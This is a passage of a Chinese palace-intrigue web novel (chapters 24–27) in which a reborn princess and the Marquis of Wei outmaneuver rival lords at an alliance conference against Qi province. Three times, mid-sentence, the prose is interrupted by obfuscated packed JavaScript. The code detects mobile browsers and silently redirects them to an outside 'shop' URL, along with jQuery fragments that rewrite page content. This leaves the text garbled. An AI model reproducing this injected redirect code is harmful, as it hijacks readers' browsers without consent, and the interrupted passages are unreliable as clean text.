周延瞥了他一眼,目光嫌弃。这个林均文在府库司是出了名的认死理,因此他虽有才干又任劳任怨,但多年不得升迁,生生从他的上级变成了下属,亏就亏在不够圆滑、不知变通上。眼下推行新政,本就该走一步看一步,何必一再逼问这些没影儿的事呢? 花厅里陷入一阵沉默。 “…还有最后的法子,只是……”卫瀛面上泛起淡淡的笑意,“不能再局限于魏州的人或财物,必须是一个能让百姓在乱世里,仍愿意相信的‘东西’。” 她转头看向窗外,疏落的花枝嵌在一方小小的窗框里,仿佛一张精心布置的网,而远处的侯府、乃至襄平城的天际线,似乎都被这张网收入其中。 “你们先去准备着吧……” 若到了诸侯之信、财源之信都不足以取信百姓的时候,这最后一道‘信’,本宫会亲手替魏州加上! 周延看时候差不多了,便带着林均文告退。 两人一前一后迈出沐云馆大门,都不由驻足回望,面带些许震撼之色:这位殿下竟还有后手,而且怕是比这‘得胜契’更惊人的构想?! 24. 第 24 章 沐云馆。 周延和林均文前脚才离开,便有侍女来通报:魏侯来了。 储况步入花厅,正遇上侍女撤走两套茶盏,便猜到方才是周延携下属来过。 眼下‘得胜契’正在筹备中,他不得不允许家臣来这里商议,但待一切妥当之后…… 怕是得对这位殿下限制一二。 她有这般谋略和洞察力,与家臣还是少接触为好。 毕竟日后逐鹿天下,魏州需早做打算,若让她看出什么端倪,魏州‘一心为公’、‘拱卫京畿’的伪装会有被戳穿的风险。 储况将视线从那两套茶盏上收回,却见卫瀛姿态放松的坐在宽大的榻上,裙摆铺在身侧,仿佛盛开的牡丹,面上神态悠然,清凌凌的眸子正望着他。 她唇边那抹若有若无的笑意,仿佛一根细小的绣花针,轻轻刺了储况一下,让他生出些许心思被看透的感觉,这感觉十分陌生,新奇之后,是些许微妙的刺激,还有丝丝不安。 他正了正神色,开口讲道:“陛下诏书已经下达,命各州诸侯在魏州筠城召开会盟,共商伐祁之事,相邦也传信回来,出使成功,臣已命他先行前往筠城。” 筠城与祁州大军集结的夔城相去甚远,位于魏、楚相接地带,距离晋州较近,是会盟的绝佳之地。 卫瀛轻轻点头,场面话信手拈来,“俗话说万事开头难,此后魏州抗祁,定会一帆风顺的。” “借殿下吉言。”储况略一笑,“只是,陛下在诏书里提及殿下,说您既嫁作魏州妇,可与臣一同前往会盟,彰显天威。” 卫瀛眼睫一落,父皇想必是要她去做耳目,把盟会的各种风吹草动统统报给他。这个忙,她若完全不帮,即会过早惹恼父皇,又会因不合情理反而让储况生疑。但若全部照做,她辛辛苦苦才获得魏州的初步信任,必然付之东流。 更关键的是,储况肯定也明白父皇的意图,他势必会暗中盯着她的一举一动,试探她对魏州的真实态度。 啧,着实麻烦。 卫瀛略撇撇嘴,面露不满,“马上就是深秋了,天气湿冷却要赶路,再说那会盟一听就无聊至极……” 叹了口气,“好吧,只是本宫一路用度绝不能比在这儿差,你得做好沿路补给。” “那是自然,臣一定尽力而为。”储况笑道。 带着卫瀛随行,对他来说再好不过。 一来,会盟上各方势力尔虞我诈,他耳畔呓语只会更甚,但他必须保持神智清明,唯有她这副‘解药’能给他难得的安宁。 二来,她乃大启嫡公主,宠爱极盛,会盟时有她在身旁,魏州的正统性便无人可比。 至于最后一点…… 他一想到若自己离开,而留她在襄平,崔朔那条麻烦的狗也在她身边,就总是没来由的心绪难平。 他想,他大概是忌惮这两人对魏州不利。 总而言之,哪怕景元帝那个老东西不下令,他也会想尽办法把这位殿下带走的。 卫瀛问道,“得尽快动身吧?” 储况从思绪中抽离,“不错,眼下留侯、晋侯都已启程,魏州不能让他们久等。” 晋侯…… 卫瀛心底讽刺道,叶峋那厮倒是积极。 也对,当初她不过是夺了一把弓,叶峋就多年耿耿于怀,每次见到她都是一副冷脸。如今盟主之位旁落魏州,他不得气得早早赶过去等着给储况一个下马威? 毕竟叶峋脾气又臭又硬,没有半点一州之主的风度。 犹记得前世她二人婚后不睦,她放话不许晋侯登她公主府邸的大门,叶峋恼怒之下,命人拆了她的门搬走。那楠木大门乃是内廷匠人做好运抵晋州的,与门栓、门框严丝合缝,晋州工匠一时半刻造不出一模一样的来,她只得遣人去要,叶峋却死活不肯归还。 哼哧一声,卫瀛忍不住笑了出来,前世这些让她大为光火的事,如今想来却只觉得荒谬可笑。 储况瞧瞧她,目光里略有一丝探寻。 “啊,”卫瀛清了清嗓子,“既然会盟已定,魏侯定然不久便要出征伐祁,本宫该送你一份礼。” 说着,她吩咐侍从,“去,把丛云弓取来。” 片刻后,两个侍从抬着一把雕花大弓进了花厅,弓身錾刻着草木纹、山石纹,山石之巅,海东青翱翔于天幕。 储况端茶的手停于半空,随即缓缓的将茶盏放回了桌上。 卫瀛指着重弓含笑道,“这把弓,原是北国皇帝察哈善之物,父皇当年亲征北国,将察哈善斩杀于阵前,缴获此弓,取名‘丛云’。” 她视线扫过华丽的弓身,只觉得世事无常。年少时,她与叶峋交恶,正是因为这把弓。 那年春猎,叶峋猎了一只虎,景元帝想将丛云弓赏赐给他。卫瀛却不愿父皇将此物赏赐旁人。老皇帝不解,“你一个姑娘家,要这重弓何用?”卫瀛笑嘻嘻道:“女儿要留着,日后啊——给驸马!”少女娇蛮可人,逗得景元帝大笑着改赐他物。叶峋谢恩时面上凝霜,视线停在卫瀛得意笑颜上久久不去…… 卫瀛收回思绪,侧首望向储况,“本宫嫁来魏州,一并做嫁妆带来了,如今魏州大战在即,赠与魏侯,此等神兵利器,定能护佑魏州武运昌隆!” 储况没什么表情,起身缓步到了弓前,手轻扶上弓身,细细触摸着上面起伏的雕饰,那茫茫草原、起伏的高山,那一瞬间,他仿佛听到了旷野的风声扫过草叶、越过高山,海东青清啸一声,宽大的羽翼掠过山巅。 他浓密的眼睫低垂,投下一片影,教人看不清那双琥珀似的眸子,究竟是真的平静无波,还是早已掀起惊涛骇浪。 “……此弓,果然是神兵利器。” 他手指修长白净,平日里提笔抚琴,姿态颇为秀雅端丽,此刻食指虚虚勾上弓弦略一挑,铮然一声响,在花厅回荡,弓弦半晌颤动不止,可见那看似轻轻一挑,却力道颇足。 储况默然片刻,回身拱手道,“况,谢过公主。” 看看窗外天色,又道,“时候不早了,臣不敢再扰殿下清净。” 说罢,恭敬告退,却始终不曾与卫瀛目光相接…… 是夜,卫瀛迟迟没有就寝,坐在烛火前垂眸深思。 她记得前世祁州反叛,各州并没有召集盟会,魏州仅与晋州结盟,由晋州主攻、魏军策应,打下了祁州。 那前世的魏州,经过休养生息,比眼下的要强盛许多,即便如此,魏州依然不是主力…… 啧,似乎有哪里不对? 卫瀛忙铺开一张纸,草草画出几个圈,代指天下各州,按前世反叛、镇压的顺序,拧眉细细梳理起来,每勾掉一州,她眼底便冷上一分:前世几次结盟讨伐,魏州似乎总是雷声大、雨点小? 直到余下最后的幽、留、魏三州…… 她忽的笑了起来,笑声沉闷、低回,仿佛地狱里爬出来讨债的鬼。 将笔一把扔开,墨汁扫出一道凌厉的弧度,似一把锋利的弯刀。 她喃喃低语,“储况,储云卿,你从不争强斗胜,而是惯于静默蛰伏,你把手底的魏军,化作四两拨千斤的拂尘,待豺狼虎豹斗得死伤惨重之后,你再用这‘拂尘’轻轻一扫,便荡涤了人间!” “你究竟是怎么做到的?”她目光炯炯,唇边笑意里满是棋逢对手的兴奋,“别人先不论,单看眼前,叶峋虽桀骜难驯,但也算有勇有谋,到底是怎么上钩的呢?” 晋州的优势她是知道的,车马强大,尤其是战车,工艺远超其他州郡,但今生尚未有战事,故天下各州都还不知道晋州车兵的威力。 不,叶峋不是个冒进之人,关键应该在祁州身上。 到底是什么吸引着叶峋做这个主力呢? 啧,她之前默记的舆图只有几处大山大河,并没有太多细节,眼下能快速了解祁州的法子…… 卫瀛派侍女找来侯府的曾傅母,问道:“如今魏州州府购入大量粮食,祁、魏两州相邻,势必有粮食贩卖过来,不知祁州来的粮食价格如何啊?” 曾傅母道,“回殿下,祁州的米价确实便宜,尤其祁州西边贩来的粮,听说因为一路车马易行,又有水路加持,十分便捷,所以粮价最合适。” 车马易行、水路加持? 卫瀛点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157934|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,祁州之西,舆图上确实没有标注什么山川,但具体情况如何,还需细细研究一番。 曾傅母视线划过卫瀛面上,笑道,“不知殿下问这个做什么?可有什么吩咐?” “哦,”卫瀛点点头,随口说道,“本宫之前在内廷吃过祁州的稻米,颗粒饱满,口感极佳,日后侯府不妨多采买些。” 曾傅母面露了然之色,心道果然是个爱享受的公主,面上却恭谨非常,“奴明白。” 曾傅母离开后,卫瀛朝玉扇吩咐道,“明日一早,去把襄平市面上所有的水利经注、风土文集、地理志等,统统买来,细细查阅一番,重点查找祁州尤其是祁西的记载!” 玉扇扑闪着眼,“公主,不是要打点行囊吗?这翻书的差事,出发前怕是来不及呀?” “行李什么的交给下面的人办吧,”卫瀛道,“这件事必须快!” 转日,玉扇和几个婢女搜罗来了一筐书,搬进了沐云馆。 好在卫瀛从京畿带来的几个贴身侍女都通文墨,她便与甄女史带着侍女一同通宵达旦、不眠不休的翻了两三日,终于在一本地方杂记里查到详细的字句:‘祁西之地,沃野三百里,一马平川,水网稀疏,唯清河干流贯穿其间,河道宽直,商贸往来之利,冠绝祁州。’ 卫瀛放下书,眼底乌青虽显出几分疲乏,但眸子却隐隐有流光闪烁,粮贱、水陆运输皆便捷,虽商贸便利,却易攻难守!何况晋州车兵强悍,若专挑祁西猛攻,岂不是如入无人之境? 而一旦攻下此地,晋州战车便纵横驰骋,粮草补给源源不断,这简直就是一把可以大败祁州的钥匙。 原来如此!前世储况与叶峋结盟,定然是通过什么法子,把这把钥匙在叶峋面前晃了晃,才引诱叶峋大举出兵,甘当主力。 卫瀛笑容满面,回身一看,侍女们都已经困倦不堪,玉扇坐在桌案边,下巴几乎抵在了前胸上,细看才知她是坐着睡着了。 烟素见状,刚想叫醒她,却见卫瀛轻轻摇头,转而吩咐甄女史,“这几日大家都辛苦了,这月的份例都加一倍。” 众人都笑着歇恩,玉扇被惊醒,还没弄明白什么事,便被烟素拉着也躬了躬身。 明日便是出发的日子了,眼下已经是后半夜,顶多还能睡一两个时辰。 卫瀛立即放侍女们去休息,自己叫来值夜的奴婢,也草草梳洗,倒头便睡。 转日天蒙蒙亮,公主和魏侯的车队就从侯府出发了。 当天傍晚时候,宿在一处山脚下临近官道的驿馆里。 天字号上房里,灯火如豆。 储况独坐窗前,面前铺着一张祁州舆图和一封密报,摇曳的烛光映在他眸子里,仿佛暗夜里漂浮不定的磷火。 相邦贺衍之在之前的信里写到,据他观察,晋侯虽傲气凌人,但并不无知莽撞,恰恰相反,在贺衍之面前,晋侯没有透露一丝对战事的看法,应对颇为老成。 看来,晋州正是本次盟会最大的变数。 储况指尖轻轻敲击着密报,笃、笃、笃,仿佛打着舒缓的拍子。 密报里详细汇报了祁州的各地概况:地势东高西低,东部山峦叠嶂,中部两片广袤平原,但与其他地方被丘陵阻隔,唯有西部一处腹地,十分平坦,是祁州的粮仓之一,河流也不多,仅有一条清河贯穿其间,商贸发达。 祁州西部,这块肉够肥。但平原作战,双方正面对抗,晋州虽强,却也不一定能稳操胜券。更何况想让晋州心甘情愿的做主力,理由还不够充分。 “这‘理由’,”他轻语道,“需得尽快找到。” 目光在舆图上细细的扫了几圈,眉心微蹙,略觉一丝烦闷,索性推开窗,夜风习习,吹过窗前树木,带来淡淡清新香气。 他回想起白天见卫瀛时,发现她眼底青黑,虽然用脂粉盖住,但仍是面有倦色,便开口唤道,“逐影。” 树叶倏地簌簌而动,一个身影从窗户闪了进来,轻轻落地。 半大少年还是一袭玄色劲装,头发高高束起,恭顺的跪在储况脚边。 “这几日,”储况问道,“她都做了些什么?” 25. 第 25 章 听储况问及沐云馆那位殿下的动向,逐影立即答道:“‘那边’的侍女买了很多书,统统搬进了内室。” 储况一顿,“都是些什么书?” 逐影略回忆了下,说道:“风土文集、地理志一类的书。” 储况心思一动,语气里染上一抹兴味,“这些书…她们是不是在查什么?” 逐影默了默,再开口却有些支支吾吾,“她们,在内室里不停的翻书,直到深夜,但夜里做了什么…因为逐影入夜后就从内室撤了出去…所以…” 少年因自幼经历的缘故,不大通人情世故,但这些年跟在储况身边耳濡目染,也略微懂得女子内室乃私密之地,何况对方还是主人的夫人,更需把握分寸。 可如此一来,便无法随时随地知道那位殿下到底在做什么,和失职无异,少年抬眼怯怯的望了望储况,小心问道,“逐影该彻夜不离开吗?” 储况凤眸略眯起,浓长眼睫投下一小片暗影,口吻微寒,“有何可顾忌?” 逐影忙乖觉的把上半身匍匐在地,这个行礼的姿势他总是学不好,每次都像对着头狼垂耳夹尾、俯首称臣的样子。 “逐影知罪,求主人责罚!” 顿了顿,神色坚定的又补充道,“日后不论何时、何处,逐影定会时时刻刻紧盯她!” 储况眉心微微一皱,心底某个角落仿佛被毛刺略微扎了下,抬手捏了捏山根,“……罢了,若没我特别吩咐,也不必这般,白天在外围监视即可。” 一摆手,“退下吧。” 烛火微晃,少年又一阵风似的,穿过窗户,融入了如墨的树影里,消失得无影无踪。 看着烛火再度伸直,储况失神了一瞬。 如此简单的一个指令,他怎会反复无常…… 随后的日子,一行人白天赶路,傍晚便在驿馆修整,卫瀛都是与侍女独居一个院落,一天到晚,唯有在驿馆用朝食的那点时间,能见到储况。 这日早上,卫瀛看着满桌的膳食,虽然驿馆已经按京畿口味尽其所能准备了最好的菜品,但她依然没什么兴致,略用了几口,便放下玉箸,用丝帕点点唇边,抬眸看看储况。 她近来观察到,这家伙哪怕在吃最普通的汤饼米粥,动作也十分雅致,仪态仿佛刻进骨子里,比起她京畿那些皇兄也不遑多让。 卫瀛略疑惑。 若是旁人,倒没什么奇怪,毕竟贵族子弟,仪态自幼有人教导,一切都养成了习惯。可储况一个外室子,幼时谁会这般悉心教导? 估计是后来他得了齐氏扶植,又自己下了苦功,才能举手投足间都这般教养极佳吧。 储况也用完,在侍从的服侍下净口洗手,看了眼卫瀛面前的膳食,“殿下可是起得太早没胃口?臣让人给殿下备了点心,也是京畿风味。” “无妨,本宫本就不怎么吃朝食。”卫瀛随口敷衍道,“话说回来,魏侯这几天是不是休息的不好?本宫瞧着,你脸色不大好。” 储况:“舟车劳顿,难免如此。” 这话一听也是敷衍,一州诸侯,用度自然不差,他又年富力强,坐马车能累到哪里去? 卫瀛唇角微微一撇,哼,我看你是日夜算计谋划,才休息不好。 她干脆试探道,“这眼看着路走了一大半了,估计晋侯、留侯他们也快到了,依本宫看呐,有的州郡实力单薄,来不来都一样,晋州来了就行了。” 储况眸光微动,“…晋州,确实兵强马壮。” 卫瀛得意一笑,“何止是兵马!” 储况也面露微笑,“哦?不知殿下认为,晋州还有什么强项?” “那年,晋侯送了父皇几辆马车,辐轸顺滑,转向敏捷,在崎岖之处也如履平地,制作工艺冠绝天下。”卫瀛笑道,“晋州普通马车尚且如此,其军中所用战车,威力可想而知!” 祁州西部一马平川,晋州战车若在这样的地势上冲锋陷阵,岂不是所向披靡! 储况表情渐渐敛去,“殿下灼见,令臣佩服……” 卫瀛索性一不做二不休,“本宫前些日子想到,若是魏州平定了祁州,父皇保不齐就把祁州的土地都给你!这样本宫就可以去祁州游玩了,所以找了些地理志来瞧。” 卫瀛心知,储况何许人也,沐云馆想必在他眼线监视之下,与其让他猜忌,不如她主动提及。 储况沉默一息,才换上一副和缓表情,“殿下说笑了,若能平定祁州,也是各州的功劳,陛下一向公允,想来会论功分赏。” “那你可一定要争取祁州西边的土地。”卫瀛一脸认真的道,“本宫查了书,发现祁西地势十分平坦,水网稀疏,商贸繁华,本宫要在那里建一座大行宫,再修些园林和马场!” 她得出的结论虽略显粗糙,但仅靠一副头脑,和几个手下的侍女,和他通过情报网得到的信息重点竟大差不差? 储况转眸凝望对方,一向柔和似水的目光,此刻却显出几分凉意,好似入秋后的水面,覆着一层薄薄的霜,细细甄别她到底是无心之言,还是…… 片刻后,只听他口气淡淡的道:“……臣,定会为殿下争取…不过,殿下想要在祁州修的‘行宫’,怕是比臣的侯府,还要大上数倍吧?” 卫瀛听出他话里的机锋,轻狂一笑,“别说是数倍,就是数十倍,又如何?怎么,魏侯觉得,哪里不妥吗?” 储况笑意清浅,不及眼底,“……自然没有。” 当天夜里,一行人到了下一站驿馆修整。 上房里,储况坐在案前,窗外明月高悬,独照在他手中书卷上。 他敛眸看书,却许久没翻页,书页里夹着一片海棠花瓣,像是随手夹入做书签用的,已经干透,边缘枯黄,仿佛昔日宴饮欢腾之后,余下的一抹惆怅。 烛火微动,逐影自窗入内,跪地行礼。 储况捻起花瓣,迎着烛光端详片刻,眸子略微显出些琥珀般的金棕色,手指略微发力,似乎想要碾碎,犹豫片刻还是仔细夹回了书里,合上书撂到一旁。 抚额吩咐道,“快马去趟筠城,传话给昆仑山人,让他通过各州教众散布消息,就说祁侯担忧会盟后晋州会出兵,想先下手为强,眼下正在打造水师,很快就能从祁西的清河顺流而下,重创晋州。” 逐影领命,身影一闪,不见了踪影…… 筠城因竹而兴,城外竹海漫山遍野。城中有一高台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168074|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,位于大河之畔,名唤摘星台,高达十丈,能容千人。 会盟当日,风势强劲,驱散了往日满城竹香,鼻尖只有山谷冷肃气息。 摘星台旁,红日高悬,河水汤汤,染上一片血色。 台下基座周围,各州旌旗猎猎作响,各方人马悉数前来。 魏州仪仗精简,但士卒车马、随行侍从,都整肃至极,行动间仅听得马蹄嘚嘚,车轮辚辚,甲胄轻击,再无一丝多余声响。车驾缓缓停下,储况下车目光略扫了眼,便转身到了前方卫瀛车旁,亲自掀开车帘,“殿下,到了。” 说罢,伸出一条手臂,眉目低垂。 卫瀛受用一笑,抬手扶住。 储况只觉扶在自己臂上的力道十分轻,简直可以忽略不计,而目之所及,对方宫裳裙摆下探出一只娇小的凤头履,如狸奴般悄然落地,裙摆随着下车的动作轻微摆动,浑然一朵盛放的牡丹。直到凤头履复又藏进那牡丹花芯,杳无踪迹,他才收回了视线。 立于车辕旁,卫瀛视线滑过周围。 最喧闹的,莫过于渤海王那边。他此次赴盟会,还带来几车奇珍异兽,想来是给各州诸侯的礼物,随行倒是士卒不多,但都是骑兵,皮靴轻甲,腰佩重刀,威武非常。 与之相对的幽州兵马数量最多,幽侯车驾宽大厚重,伴驾家臣凛然而立,目光在魏州这边停留了片刻,便转向远处姗姗来迟的晋州人马。 卫瀛也顺着他们的视线,望了过去。 晋州士卒袍甲鲜明,战马强壮。晋侯车驾鎏金镶玉,仪仗精美,车轮缓缓停下,叶峋红袍金冠,外罩轻裘大氅,金丝皂靴踏在檀木车凳上,稳稳落地。 阳光落在他身上,勾勒出那艳如桃李的容颜,眉宇间却是毫不遮掩的骄矜,侧首扬眉,冷傲目光掠过魏州时,不易察觉的停顿了下。 卫瀛瞧着他,不由一阵恍惚。 这样鲜活锋利、意气风发的叶峋,她只觉得陌生至极。 在她的记忆里,他只有前世病重时的模样还算清晰。 她记得叶峋半卧在病榻上,面色惨白,两颊凹陷,乌发垂在肩侧,冷冷的睨着她,枯萎的唇瓣费力的开合,“想不到…冷心冷情的夫人您,居然来看本侯了!放心,我才不会死…” 咳喘了一阵,瘦削的手忽的朝她直直伸来,她后退半步躲过,那只手无力的垂下,随即攥紧锦被,目光亮得骇人,“我会再撑个十年、二十年…你永远都是晋侯夫人,休想离开!” 一字一句,仿佛诅咒…… 烈风阵阵,吹散卫瀛思绪。 罢了,前世孽缘,今生已经斩断,不必再想。 卫瀛转身,与储况一同登上摘星台。 储况虚虚牵着她的手,两人拾级而上。 那刷了上好棕油的木制阶面光可鉴人,映出卫瀛坚定的眸光。 登上最后一级后,空旷的会场便映入眼帘。 各州坐席环绕中心分次排开,檀木玄漆的座椅无言立在其间,仿佛在楚河汉界对峙的棋子。 耳边,高处的风呼啸而过,带来一股肃杀之气。 卫瀛深吸一口气。 一场不见血的厮杀,就要开始了。 26. 第 26 章 高台上,叶峋不待礼官指引,越过众人,径直走向首位落座,没有分一点目光给旁人。 幽侯薛明远抚髯缓缓停步,似笑非笑。会盟首座,自然是盟主席位,景元帝在诏令里虽给了魏州一个盟主的名头,但实力不足的魏州想坐稳这个位置,还得凭魏侯的本事。 储况见状,一使眼色,礼官退下。 储况拱手道:“此番会盟,实力强盛、德高望重者,理应上座,而况资历尚浅,愿陪末座。” 随即,他面色坦然的择了一处最靠外的偏席坐下。 叶峋轻蔑的瞥了储况一眼。 幽侯薛明远则目光幽深的望了望储况,一言不发的由礼官带到晋侯旁落座。 卫瀛心底一哂,这等示弱,无非是以退为进,麻痹众人罢了。再细细一瞧,储况所选,虽是偏席,却角度极佳,可将全场人的神态动作尽收眼底。 渤海王被安排在晋侯另一侧,其他一众诸侯,驻足瞧了瞧,互相交换着眼神,便有的聚在晋侯、幽侯附近坐下,有的则坐到了更偏的地方。 为卫瀛专设的坐席在主场一角,隔着两道珠帘。 礼官躬身颔首,迎着卫瀛入席落座,卫瀛视线在各方席间轻轻扫过,才步入珠帘之后。 众人坐定,储况率先道,“祁州连吞两地,不臣之心已决,势必妄图夺取天下诸州,祁州如虎,我等结盟,是为令其无从下口。然,天下各州,土地、人口、兵力,差异甚大,若有力强者勇担重任,率先刺入虎腹,不仅可重挫祁州,更是救天下黎民于水火。” 幽侯薛明远抚髯一笑,姿态儒雅,眼神却如豺狼,“祁州不是什么善类,利刃可能刺伤猛虎,也可能折断,需有万全的准备。” 渤海王道,“本王瞧着,此计甚好,各州距离祁州路途不一,而且各有所长,一拥而上不可取,该有主次!不如那持利刃之人,其粮草军备,联盟共担?” 其余众人纷纷附和,“是啊,兵贵神速,但我等路途遥远,恐误战机。不妨出些粮饷,也算略尽绵薄之力。” 但不消片刻,话锋便转了风向。 只见冀侯略一沉吟,轻叹一声,“粮草嘛,确实该共同出力,可冀州这两年收成着实一般,眼下江平、汉州闹了灾情后,天下各州粮价都不稳,抗祁粮饷…冀州顶多出二十万石。” 楚侯趁机哭穷道,“可不是嘛,我州土地贫瘠,百姓生计艰难,实在不忍征发百姓的过冬粮啊。” 另一诸侯也附和道:“唉,我州的兵力…不提也罢,近年农事也不顺,粮草一事,恐怕没多少余力。” 幽侯眉梢微微抬了抬,与身侧谋士相视一眼。 渤海王还是那副笑脸,目光落在魏州坐席,眸光闪着些许幸灾乐祸,仿佛在等着好戏上演。 卫瀛借着珠帘掩映,视线毫不避讳的在这几人身上停留,他们前世便是墙头草、缩头龟,只要战火没烧到家门口,便关起门来快活一日是一日。 她细细回忆片刻,忽的一笑,“冀侯的话,本宫听得好生糊涂啊。” 众人目光循声望去,只见卫瀛不知何时已经从坐席上起身,撩起珠帘,步履款款行至盟会冀州坐席前方。 “冀侯莫非忘了,暮春围猎那场宫宴上,大司农曾向父皇夸赞你近年推行精耕细作之法,贡粮增数居首?” 卫瀛眉眼笑意满盈,“怎么,到了为大启出力时,你那粮仓就空了?” 冀侯脸色登时难看起来,“唔,臣是想说,粮价不稳,冀州财税难以支撑庞大军饷……” 卫瀛眉目骤冷,语气蛮横,“粮价不稳,就开仓平抑,抗祁军饷虽庞大,但各州分担,还能榨干你冀州千里良田不成?” 冀侯自知此事越描越黑,索性不再开口。 储况略垂着眼,唇角闪过一抹难以察觉的弧度。 卫瀛转而看向楚侯,神态悠然的理了理披帛,仿佛只是随口聊些稀松平常的小事,“楚侯,你说楚州百姓日子艰难?可本宫却听说,去岁你母亲过寿辰,你为表孝心,在治所宜林城建了个院子,名唤昆山园,占地百余亩,按天下各州景色造了七十二处名胜,还以琳琅美玉打造成亭台楼阁,唤之‘小瑶池’,更将无数珍宝藏于园中地窖…当初征发农夫工匠建造园林时,可曾想他们如何越冬?” 此事是她前世所闻,楚州被幽州所灭,幽侯薛明远纵容手下部将翻出来藏宝地窖,连那建造‘小瑶池’的玉石都被悉数切割打包,与珍宝一起足足装了上百车,里面竟还有不少宝物来自内廷,想来是不少天家珍藏之物被内鬼监守自盗,流落至各州。 听说,其中就有她母后的一个出水芙蓉翡翠枕,被幽侯扣下私藏。 但那园林建造非常低调,那七十二处胜景、小瑶池及珍宝地窖之事,卫瀛一介内廷女眷,竟知道得如此清楚?! 楚侯心底骇然大惊,眼神在卫瀛和储况之间逡巡,究竟是传言飘到了京畿内廷被老皇帝察觉,还是魏州小儿把手伸到了他身边?! 储况视线轻轻滑向卫瀛,目光也略暗了一瞬。 楚侯额间筋脉绷了绷,强压下满心惊疑,僵硬的扯动唇角,“殿下,那‘昆山园’不过普通宅院,臣竟不知外间传言如此夸大,可见是别有用心之徒刻意摸黑我楚州!且臣侍奉家母,乃出自一片孝心,不知哪点让殿下不喜?” 卫瀛冷声一笑,咄咄逼人道,“本宫何来不喜?只是……若是魏州被强祁攻破,下一个焉知不是你楚州?你那琳琅满目的园子、珍宝满溢的地窖,还能守得住么!” “殿下所言极是。”储况接过话锋,继续道,“强祁如豺狼,攻破汉州、江平后,不但立即夺了诸侯印信,诛杀宗族,还纵手下将两州府库洗劫一空!若不趁他羽翼未丰时扼杀,日后天下诸州的良田、财宝,恐将沦落至祁贼鷇中矣!” 随即缓和了口气,面色温和朝楚侯道“楚侯事亲至孝,一时耗费大些也是人之常情。既然楚州家底尚可,那为大启分忧、共伐逆贼,想来楚侯也必不会推辞。” 楚侯眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178266|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角抽搐了下,默然半晌,只得冷声道,“那是…自然。” 储况面上带笑,又看向冀侯,“既然冀州在农事上有所大成,那粮饷一事,还望冀州担待些,如果实在为难,不妨将冀州精进的耕作之法传授给诸州,提升各州粮田产量,也是为抗祁出力。” 一些看热闹不嫌事大的小诸侯趁火打劫,“是啊,冀侯不如把耕作之法教授给我们!”“对,听说是改造水车、改良土质,还有新设计的犁耙……”“那不如把图纸公布出来!” 冀侯眯眼打量着卫瀛和储况二人,精作农耕之法,可维持冀州农事强于天下诸州,他断然不会交…… 片刻后,冀侯终是沉声道:“抗祁的粮饷……冀州可出三十五万石。” 卫瀛闻言,视线飘向魏州席间,正对上储况一双凤眸,两人目光一触即离。 幽侯眸光幽暗的瞧着这盟会上的动向,这位殿下和魏侯一唱一和,把冀侯和楚侯架在火上烤,狠狠的敲了他二人一笔。哼,这对夫妻真是好生难缠。 储况见好就收,转而继续推进盟会议程。 他一抬手,侍从送来一幅舆图,展开挂起,他行至舆图前,“祁州仓廪丰实,兵力强盛,乍看令人颇感棘手,但并非没有软肋。” 抬手指在一处,“祁州西境,地势平缓,无山川可依,是其粮仓之一,且水网稀疏,仅清河穿行而过,易攻难守。” 储况指尖轻轻顺着舆图上的清河滑过,在祁州与晋州交界处堪堪停下,仿佛只是在给众人勾勒出这条河流的走向。 幽侯薛明远听到‘清河’二字,再顺着储况指尖一瞧这条河的走势,不由眸光一凝。 前几日幽州探子来报,说传闻祁州正在西部秘密打造水师,想借着水道便利,顺流而下,打击晋州。 他视线微微扫过身边,见叶峋虽没什么表情,但他身后几个谋士却暗中互换了下眼神,可见这个消息,晋州八成也是知道的。 储况顿了顿,目光扫过众人,“此等地势,乃骑兵、车兵大显身手之处,但说来惭愧,因魏州山水密布,魏军仅步兵尚可,骑兵战车都实在薄弱。故魏州愿为先锋,在东南方全力牵制祁州主力,而诸州若对骑兵、车兵有把握的,可专攻祁西之地,大破祁州粮仓,夺下抗祁首功!” 听得那‘粮仓’、‘首功’等字眼,魏侯又肯牵制祁州主力,四下立即响起一片低语。 渤海王麾下有数万骑兵,骁勇善战,他也面露一丝心动,瞧了眼身旁的谋士,谋士却低声道,“渤海郡与祁西相距甚远,即便攻下,也难收服,徒劳无益。” 渤海王听后坐直,敛去神色,终究没有接话。 薛明远却眯眼仔细看了看储况身后的舆图,忽然笑道,“魏侯对此地的情况,真是了如指掌啊?实不相瞒,老夫前来会盟前,也探查过祁州的地貌,却不及魏侯的信息如此详尽啊!” 冷笑一声,“魏侯怕不是,早已与祁州有所往来?又或者,此计是为了让我们为你火中取栗?” 27. 第 27 章 